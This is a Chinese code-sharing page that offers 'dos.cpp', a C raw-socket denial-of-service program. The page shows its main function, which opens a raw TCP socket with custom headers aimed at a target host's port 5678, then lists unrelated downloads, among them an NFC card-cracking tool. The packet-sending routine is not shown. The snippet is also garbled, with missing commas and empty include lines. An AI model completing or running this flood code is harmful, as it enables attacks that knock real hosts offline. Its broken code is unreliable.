资源简介
dos.cpp
代码片段和文件信息
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 5678
#define LOCALPORT 8888
void send_tcp(int sockfdstruct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addrint len);
int main(int argcchar **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
printf(“Usage:%s hostname\n“argv[0]);
exit(1);
}
bzero(&addrsizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1]&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr“HostName Error:%s\n“hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
sockfd=socket(AF_INETSOCK_RAWIPPROTO_TCP);
if(sockfd<0)
{
printf(“Socket Error:%d\n“ errno);
exit(1);
}
setsockopt(sockfdIPPROTO_IPIP_HDRINCL&onsizeof(on));
setuid(getpid());
send_tcp(sockfd&addr);
}
相关资源
- 红外避障小车程序C语言源码.rar
- main.cpp
- C++全方位学习》范磊高清pdf书+源代码
- c++21天课程.txt
- eig.cpp
- C语言试题库含答案.rar
- C语言课程设计学生成绩管理系统源码
- 尚观教育李慧芹Linux下C语言前嵌入式
- PN532-mfoc-mfcuk-GUI_V2.1.rar
- MFC折叠和展开窗口实现方法.txt
- 《从放弃C语言到使用C++刷算法的简明
- 24点游戏.cpp
- huichang.cpp
- QUEUE.CPP
- C#callC++dll.pptx
- 数据结构算法与应用--C++语言描述(代
- VC6.0完全卸载工具.exe
- MFC成绩管理系统.rar
- QReport.cpp
- 数据结构课程设计散列表的设计与实
- zw_基于Ribbon界面的图书管理系统—w
- zw_记事本源码c++.zip
- zw_AES加密算法c语言实现代码.zip
- f8d0eaf9b7f33d5d7e75486cdaba4e43.cpp
- c语言课程设计电影院管理系统.zip
- c6client.cpp
- test.cpp
- C++ 修改其他进程中窗口的标题
评论
共有 条评论